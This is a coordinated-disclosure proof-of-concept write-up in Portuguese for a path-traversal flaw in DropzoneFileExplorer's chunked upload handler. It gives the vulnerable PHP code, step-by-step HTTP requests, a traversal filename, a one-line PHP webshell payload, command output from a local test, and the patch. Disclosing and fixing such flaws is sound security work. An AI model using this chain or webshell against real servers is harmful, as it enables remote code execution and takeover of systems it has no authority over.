
Cadeia de exploração proof-of-concept para CVE-2026-104826, uma path traversal no manipulador de upload em chunks do DropzoneFileExplorer que grava um webshell PHP para execução remota de código.
O manipulador de upload retomável (em chunks) confia no fileName fornecido pelo
cliente até chegar ao fopen(). Alimente-o com ../../ e você escreve fora da sua
pasta permitida, fora da raiz de armazenamento, dentro da raiz web. A aplicação
serve PHP, então o arquivo que você planta é executado.
Projeto: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Classe | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | autenticado por padrão, não autenticado se AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 Alto (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Afetado | v1.1 (testado no commit 68858e0) |
| Corrigido em | v1.2 |
| Crédito | Kanarat Kaeothong (Axiom0x) |
Duas funções importam. uploadInit pega fileName do corpo da requisição e o
mantém sem nada além de um trim() (inc/functions.php, por volta da L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize depois o lê de volta e monta o caminho de saída
(inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() está correta por si só. Ela chama realpath() e
garante que o caminho permaneça sob as raízes do usuário. O problema é o que ela
recebe. $destBaseAbs e $finalDirAbs são ambos validados, mas $finalAbs, o que
de fato contém o fileName do atacante, nunca é. fopen() recebe a string bruta
.../shared/../../app/shell.php e o SO colapsa o .. para você.
Vale notar: todos os outros caminhos de escrita neste código ou passam o caminho
composto por ensure_inside_allowed_roots() ou envolvem o nome em basename().
Este não faz nenhum dos dois. Parece um ponto que foi refatorado e a verificação
final se perdeu.
v1.1 original, configuração padrão (AUTH_ENABLE=true). O ator é um usuário normal
lowpriv cuja única pasta é shared.
Faça login como lowpriv (pegue o token CSRF da página de login, depois faça POST
de auth_action=login).
Confirme que o sandbox realmente funciona. Enviar diretamente para a pasta de outra pessoa é recusado:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Use a pasta permitida, mas envenene o fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Envie o payload como um único chunk:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finalize:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
A resposta reporta app/pwned.php. A própria aplicação está dizendo que escreveu
fora de shared e fora da raiz de armazenamento.
Execute:
GET /pwned.php?c=id
-> uid=... (command output)
Da minha própria execução contra uma instância local:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
Veja poc/exploit.py para a cadeia completa (login, CSRF, poison,
chunk, finalize, execute).
Qualquer pessoa autorizada a fazer upload pode escrever um arquivo onde quer que o
processo PHP possa escrever, independentemente do que as regras de pasta por usuário
digam. Um arquivo .php na raiz web é execução remota de código como o usuário web.
Com AUTH_ENABLE=false não há etapa de login e é RCE não autenticado direto.
Em uploadFinalize, reduza fileName a um nome simples antes de abri-lo, e
verifique novamente o caminho composto:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() sozinho já interrompe o traversal. Adicionar a verificação
ensure_inside_allowed_roots($finalAbs) é a versão com cinto e suspensórios, e
corresponde a como o resto do código já protege as escritas. O mesmo tratamento
precisa ser aplicado ao ramo da política rename (por volta da L2210), onde
$finalName é recalculado. O mantenedor incluiu isso na v1.2.
Divulgação coordenada, corrigido antes de se tornar público. O PoC é deliberadamente voltado para uma instância de teste local. Não aponte para nada que você não possua.